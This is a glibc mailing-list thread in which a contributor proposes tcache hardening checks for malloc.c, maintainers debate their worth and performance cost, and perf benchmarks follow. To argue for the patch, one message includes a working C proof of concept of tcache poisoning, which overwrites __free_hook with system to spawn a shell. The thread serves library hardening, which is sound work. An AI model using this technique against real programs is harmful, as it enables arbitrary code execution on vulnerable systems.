malloc/free: tcache security patch

malloc/free: tcache security patch

[清水祐太郎]

Hello

I'm Yutaro Shimizu (ShiftCrops).

I want to patch malloc.c.
The mechanism of tcache is very similar to fastbins.
However, I can malloc from arbitrary addresses by tampering the tcache_entry.
That's because there is no chunk verification process.
I think it is an important security issue.

I created a patch as follows.
```
diff --git a/malloc/malloc.c b/malloc/malloc.c
index 9614954..4967fcd 100644
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -2926,8 +2926,13 @@ static __always_inline void
 tcache_put (mchunkptr chunk, size_t tc_idx)
 {
   tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
+  tcache_entry *old = tcache->entries[tc_idx];
+
   assert (tc_idx < TCACHE_MAX_BINS);
-  e->next = tcache->entries[tc_idx];
+  if (__builtin_expect (old == e, 0))
+    malloc_printerr ("free(): double free or corruption (tcache)");
+
+  e->next = old;
   tcache->entries[tc_idx] = e;
   ++(tcache->counts[tc_idx]);
 }
@@ -2938,8 +2943,13 @@ static __always_inline void *
 tcache_get (size_t tc_idx)
 {
   tcache_entry *e = tcache->entries[tc_idx];
+  size_t victim_tc_idx = csize2tidx (chunksize (mem2chunk (e)));
+
   assert (tc_idx < TCACHE_MAX_BINS);
   assert (tcache->entries[tc_idx] > 0);
+  if (__builtin_expect (victim_tc_idx != tc_idx, 0))
+    malloc_printerr ("malloc(): memory corruption (tcache)");
+
   tcache->entries[tc_idx] = e->next;
   --(tcache->counts[tc_idx]);
   return (void *) e;
```
I created a bundle with patchwork, but I can not add this patch.
What should I do?

Sincerely

Windows 10 版のメールから送信

Re: malloc/free: tcache security patch

[Ondřej Bílka]

On Fri, Apr 20, 2018 at 09:44:10PM +0900, 清水祐太郎 wrote:
> Hello
> 
> I'm Yutaro Shimizu (ShiftCrops).
> 
> I want to patch malloc.c.
> The mechanism of tcache is very similar to fastbins.
> However, I can malloc from arbitrary addresses by tampering the tcache_entry.
> That's because there is no chunk verification process.
> I think it is an important security issue.
> 
This was discussed recently, search archives.

In short malloc check don't protect you and can't protect you. This
patch only makes malloc slower for false sense of security.

Attacker could use buffer overflow in lot of ways before its freed. Also
attacker could with some effort examine check and fake data structure to
make check pass.

These are mainly used as tool to debug malloc implementation. That they
sometimes serve as poor's man valgrind is secondary. You should use
valgrind to find and fix buffer overflows in first place.

RE: malloc/free: tcache security patch

[清水祐太郎]

I already read this post, but I sent an email because there was no patch.
"malloc: Security implications of tcache"(https://sourceware.org/ml/libc-alpha/2018-02/msg00298.html)

Certainly it is important to find vulnerabilities in user programs in first.
However, as long as there is a possibility that a bug exists, it is necessary to protect it with glibc.

> In short malloc check don't protect you and can't protect you. This
> patch only makes malloc slower for false sense of security.
The patch can protect you from the following attacks without buffer overflow.

```
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>

typedef struct tcache_entry
{
        struct tcache_entry *next;
} tcache_entry;

int main(void){
        void *a;
        tcache_entry *p;
        unsigned long *s;

        a = malloc(0x20);
        dprintf(0, "Malloc from %p, and free three times.\n", a);
        free(a);
        free(a);
        free(a);

        p = malloc(0x20);
        p->next = &__free_hook;
        dprintf(0, "Malloc from tcache(%p) and tamper tcache_entry's next into __free_hook(%p).\n", p, &__free_hook);

        malloc(0x20);

        s = malloc(0x20);
        *s = system;
        dprintf(0,  "Now, you can malloc from __free_hook(%p)\n"
                    "Write system to __free_hook, and get a shell!\n\n", s);

        free("/bin/sh");
}
```

> Attacker could use buffer overflow in lot of ways before its freed. Also
> attacker could with some effort examine check and fake data structure to
> make check pass.
Attacker still can easily pass double free checks in tcache_put.
However, bypassing the chunk size check in tcache_get is very difficult.
You can prevent malloc from arbitrary address.

Windows 10 版のメールから送信

差出人: Ondřej Bílka
送信日時: 2018年4月21日 6:36
宛先: 清水祐太郎
CC: libc-help@sourceware.org
件名: Re: malloc/free: tcache security patch



On Fri, Apr 20, 2018 at 09:44:10PM +0900, 清水祐太郎 wrote:
> Hello
> 
> I'm Yutaro Shimizu (ShiftCrops).
> 
> I want to patch malloc.c.
> The mechanism of tcache is very similar to fastbins.
> However, I can malloc from arbitrary addresses by tampering the tcache_entry.
> That's because there is no chunk verification process.
> I think it is an important security issue.
> 
This was discussed recently, search archives.

In short malloc check don't protect you and can't protect you. This
patch only makes malloc slower for false sense of security.

Attacker could use buffer overflow in lot of ways before its freed. Also
attacker could with some effort examine check and fake data structure to
make check pass.

These are mainly used as tool to debug malloc implementation. That they
sometimes serve as poor's man valgrind is secondary. You should use
valgrind to find and fix buffer overflows in first place.

Re: malloc/free: tcache security patch

[Carlos O'Donell]

On 04/20/2018 07:58 PM, 清水祐太郎 wrote:
> However, as long as there is a possibility that a bug exists, it is
> necessary to protect it with glibc.

This is not true at all.

We assume a correctly functioning program and optimize for that.

For example the dynamic loader does not protect against all forms of
errors in ELF files.

Nor does malloc catch all forms of corruption, and it should not,
because doing so is too expensive.

The checks in malloc, particularly checks in the hot path that add
instructions to tcache, *must* be rationalized as a balance between
catching corruption for debugging purposes and performance. It provides
only marginal post-attack mitigation, which is why it must be very low
cost, particularly in tcache.

Please see this for a detailed discussion on the topic:
https://sourceware.org/glibc/wiki/Style_and_Conventions#Error_Handling

What performance impact do your patches have on x86_64?

-- 
Cheers,
Carlos.

RE: malloc/free: tcache security patch

[清水祐太郎]

>> However, as long as there is a possibility that a bug exists, it is
>> necessary to protect it with glibc.
>
> This is not true at all.
>
> We assume a correctly functioning program and optimize for that.

I was wrong about handling bugs in user programs.
Thank you.


> What performance impact do your patches have on x86_64?

I measured the performance of the following program on x86_64 using perf.
My patch does not seem to have a big impact on performance.

```
#include <stdio.h>
#include <stdlib.h>

int main(void){
        int i, j;
        void *p[10];

        for(i=0; i<10000;i++){
                for(j=0; j<sizeof(p)/sizeof(void*); j++)
                        p[j] = malloc(0x20);

                for(j=0; j<sizeof(p)/sizeof(void*); j++)
                        free(p[j]);
        }
}
```

# unpatched
 % perf stat ./testrun.sh ../test/heap

 Performance counter stats for './testrun.sh ../test/heap':

         11.495723      task-clock (msec)         #    0.873 CPUs utilized
                 4      context-switches          #    0.348 K/sec
                 4      cpu-migrations            #    0.348 K/sec
               231      page-faults               #    0.020 M/sec
        11,618,824      cycles                    #    1.011 GHz                      (65.05%)
         4,394,009      stalled-cycles-frontend   #   37.82% frontend cycles idle
         2,770,936      stalled-cycles-backend    #   23.85% backend  cycles idle
        18,236,716      instructions              #    1.57  insns per cycle
                                                  #    0.24  stalled cycles per insn
         4,206,369      branches                  #  365.907 M/sec
            21,151      branch-misses             #    0.50% of all branches          (49.81%)

       0.013160740 seconds time elapsed

 % perf stat ./testrun.sh ../test/heap

 Performance counter stats for './testrun.sh ../test/heap':

         11.263904      task-clock (msec)         #    0.872 CPUs utilized
                 4      context-switches          #    0.355 K/sec
                 4      cpu-migrations            #    0.355 K/sec
               231      page-faults               #    0.021 M/sec
        11,713,045      cycles                    #    1.040 GHz                      (64.94%)
         4,100,644      stalled-cycles-frontend   #   35.01% frontend cycles idle
         2,506,411      stalled-cycles-backend    #   21.40% backend  cycles idle
        18,237,748      instructions              #    1.56  insns per cycle
                                                  #    0.22  stalled cycles per insn
         4,206,986      branches                  #  373.493 M/sec
            17,595      branch-misses             #    0.42% of all branches          (59.86%)

       0.012922059 seconds time elapsed


# patched
 % perf stat ./testrun.sh ../test/heap

 Performance counter stats for './testrun.sh ../test/heap':

         11.486561      task-clock (msec)         #    0.883 CPUs utilized
                 4      context-switches          #    0.348 K/sec
                 5      cpu-migrations            #    0.435 K/sec
               229      page-faults               #    0.020 M/sec
        11,053,931      cycles                    #    0.962 GHz                      (63.01%)
         4,309,748      stalled-cycles-frontend   #   38.99% frontend cycles idle
         2,725,241      stalled-cycles-backend    #   24.65% backend  cycles idle
        18,978,492      instructions              #    1.72  insns per cycle
                                                  #    0.23  stalled cycles per insn
         4,388,405      branches                  #  382.047 M/sec
            26,860      branch-misses             #    0.61% of all branches          (58.63%)

       0.013005366 seconds time elapsed

 % perf stat ./testrun.sh ../test/heap

 Performance counter stats for './testrun.sh ../test/heap':

         11.107714      task-clock (msec)         #    0.876 CPUs utilized
                 5      context-switches          #    0.450 K/sec
                 4      cpu-migrations            #    0.360 K/sec
               230      page-faults               #    0.021 M/sec
        11,560,568      cycles                    #    1.041 GHz                      (64.43%)
         3,919,384      stalled-cycles-frontend   #   33.90% frontend cycles idle
         2,508,035      stalled-cycles-backend    #   21.69% backend  cycles idle
        18,938,825      instructions              #    1.64  insns per cycle
                                                  #    0.21  stalled cycles per insn
         4,380,386      branches                  #  394.355 M/sec
            17,324      branch-misses             #    0.40% of all branches          (59.11%)

       0.012677606 seconds time elapsed

Sincerely

Windows 10 版のメールから送信

差出人: Carlos O'Donell
送信日時: 2018年4月21日 11:33
宛先: 清水祐太郎; Ondřej Bílka
CC: libc-help@sourceware.org
件名: Re: malloc/free: tcache security patch

On 04/20/2018 07:58 PM, 清水祐太郎 wrote:
> However, as long as there is a possibility that a bug exists, it is
> necessary to protect it with glibc.

This is not true at all.

We assume a correctly functioning program and optimize for that.

For example the dynamic loader does not protect against all forms of
errors in ELF files.

Nor does malloc catch all forms of corruption, and it should not,
because doing so is too expensive.

The checks in malloc, particularly checks in the hot path that add
instructions to tcache, *must* be rationalized as a balance between
catching corruption for debugging purposes and performance. It provides
only marginal post-attack mitigation, which is why it must be very low
cost, particularly in tcache.

Please see this for a detailed discussion on the topic:
https://sourceware.org/glibc/wiki/Style_and_Conventions#Error_Handling

What performance impact do your patches have on x86_64?

-- 
Cheers,
Carlos.